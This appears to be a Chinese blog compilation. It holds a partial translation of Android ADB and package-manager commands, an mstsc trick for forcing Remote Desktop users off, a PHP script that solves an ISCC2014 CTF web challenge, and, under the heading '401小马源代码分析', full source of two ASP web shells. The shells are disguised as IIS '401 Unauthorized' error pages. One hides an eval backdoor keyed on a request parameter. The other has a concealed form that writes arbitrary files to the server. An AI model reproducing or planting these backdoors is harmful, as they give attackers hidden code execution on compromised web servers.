安卓ADB命令说明的中文翻译(部分)

ADB基本命令

开启ADB Server
adb start-server
关闭ADB Server
adb kill-server
显示设备
Adb devices
显示adb版本
Adb version
显示帮助信息
Adb help
打印日志
Adb logcat
安装应用
Adb install <path-to-apk>
从设备上拷贝文件
Adb pull <remote> <local>
端口转发,将本地的某个端口映射到设备的某个端口
Adb forward <local> <remote>
注:端口号写法:tcp:80,local:<UNIX domain socket name>
PPP OVER USB
Adb ppp <tty>
注:dev:/dev/omap_csmi_tty1
获取串口名
Adb get-serialno
获取设备状态
Adb get-state
等待设备就绪后执行命令
Adb wait-for-device
例如: adb wait-for-device instal <app>.apk adb wait-for-device shell getprop
获取设备shell
Adb shell
直接执行一个shell命令
Adb shell [shellcommand]

PM(package manager tool)软件管理工具

基本格式:Adb pm <command>
例如:Adb shell pm uninstall com.example.MyApp
显示应用列表
Adb shell pm list packages [options] <FILTER>
-f 查看关联文件
-d 只显示禁用的包
-e 只显示启用的包
-s 只显示应用包
-3 只显示第三方包
-I 查看各个包的installer
-u 也显示已经卸载掉包
–user <USER_ID>: 获取用户空间【The user space to query】
显示所有permission-groups
Adb shell pm list permission-groups
显示所有已经知道的权限
Adb shell pm list permissions
-f :显示所有信息
-s:简单的总结信息
-d:危险的权限
-u:仅列出用户可见的权限

远程桌面强制踢用户下线

实际上远程桌面超过终端连接数的问题是很多站长遇到的问题;
也有好多人因此而使用了一些黑客工具,比如什么3389强制连接工具等;
实际上在windows操作系统中的mstsc已经拥有远程桌面强制踢用户下线的功能,只不过很多中国的站长和脚本小子不知道罢了。当然我也不是什么大牛,只要细心一点,看看说明文档就知道mstsc可以有/admin 或者/console参数,是可以远程登录控制台的,控制台的权限是很高的,所以可以强制踢用户下线,得到一个会话。

其实不仅如此,还可以指定用户的会话ID强制踢特定用户下线并进行登录。

mstsc /admin /shadow:sessionID
mstsc /console /shadow:sessionID

ISCC2014-老马识途解题

ISCC的这个题目虽然不是很难,但是很有用处,去年参加一个比赛的时候就遇到过算数字的,老大的数字要算,也是3秒钟啊~~各种正则表达式,真是无语。。。
这个还好,只是一个header,直接搬出之前写PHP飞信接收类的代码放上,要注意的是必须一个session才可以!

<?php

$option1 = array(
        CURLOPT_URL=> 'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/',
        CURLOPT_REFERER=>'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/',
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_HEADER=>true,
        CURLOPT_POST=>false,
        CURLOPT_NOBODY=>true,
        CURLOPT_COOKIE=>'ASPSESSIONIDASTTRDRQ=LIOLKMMCHKJAEFFDFDCPLPGI;',
        CURLOPT_USERAGENT=>'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17'
    );
function execv($option){
    $c=curl_init();
    curl_setopt_array($c,$option);
    $result=curl_exec($c);
    curl_close($c);
    return $result;
}
$res= execv($option1);
preg_match_all('/PassWord: (.*)/',$res,$match);
print_r($match);
$key=trim($match[1][0]);var_dump($key);
$key=md5($key);
$key=strtoupper($key);

echo $key;
 $option = array(
        CURLOPT_URL=> 'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check',
        CURLOPT_REFERER=>'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/',
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_HEADER=>true,
        CURLOPT_POST=>true,
        CURLOPT_POSTFIELDS=>'pwd='.$key,
        CURLOPT_COOKIE=>'ASPSESSIONIDASTTRDRQ=LIOLKMMCHKJAEFFDFDCPLPGI;',
        CURLOPT_USERAGENT=>'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17'
    );
echo execv($option);

401小马源代码分析

<font color="black" face="新宋体" size="2"><font color="black" face="新宋体" size="2"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"/>
<title>401 - 未授权: 由于凭据无效,访问被拒绝。</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;} 
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;} 
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} 
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>服务器错误</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>401 - 未授权: 由于凭据无效,访问被拒绝。</h2>
  <h3>您使用所提供的凭据无权查看此目录或页面。</h3>
 </fieldset></div>
</div>

<%
  response.Status="401 Unauthorized"
  response.End
  eval request("Steven")
%>
</body>
</html></font></font>
<p>

<font color="black" face="新宋体" size="2"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "</font><a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><font color="black" face="新宋体" size="2">http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd</font></a><font color="black" face="新宋体" size="2">">
<html>
<head>
<title>401 - 未授权: 由于凭据无效,访问被拒绝。</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;} 
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;} 
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} 
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>服务器错误</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>401 - 未授权: 由于凭据无效,访问被拒绝。</h2>
  <h3>您使用所提供的凭据无权查看此目录或页面。</h3>
 </fieldset></div>
</div>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<span id=hidden style=display:none>"%>
<%Response.write "<form action='''' method=post>"%>
<%Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "
"%>
<%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "
"%>
<%Response.write "输入asp文件的内容:"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=保存>"%>
<%Response.write "</form>"%>
<%Response.write "</span>"%>
<script>
var i=0
function display(id){</font></p><p><font color="black" face="新宋体" size="2">     var traget=document.getElementById(id);</font></p><p><font color="black" face="新宋体" size="2">     if(traget.style.display=="none"){</font></p><p><font color="black" face="新宋体" size="2">            traget.style.display="";</font></p><p><font color="black" face="新宋体" size="2">     }else{</font></p><p><font color="black" face="新宋体" size="2">            traget.style.display="none";</font></p><p><font color="black" face="新宋体" size="2">    }</font></p><p><font color="black" face="新宋体" size="2">}</font></p><p>
<font color="black" face="新宋体" size="2">function getKey(e){ 
e = e || window.event; 
var keycode = e.which ? e.which : e.keyCode; 
if(keycode == 16){
i++
if (i==5){
 display("hidden")
 } 
} 
} </font></p><p><font color="black" face="新宋体" size="2">function listenKey () { 
if (document.addEventListener) { 
document.addEventListener("keyup",getKey,false); 
} else if (document.attachEvent) { 
document.attachEvent("onkeyup",getKey); 
} else { 
document.onkeyup = getKey; 
}
}
listenKey()
</script>
</body>
</html></font></p>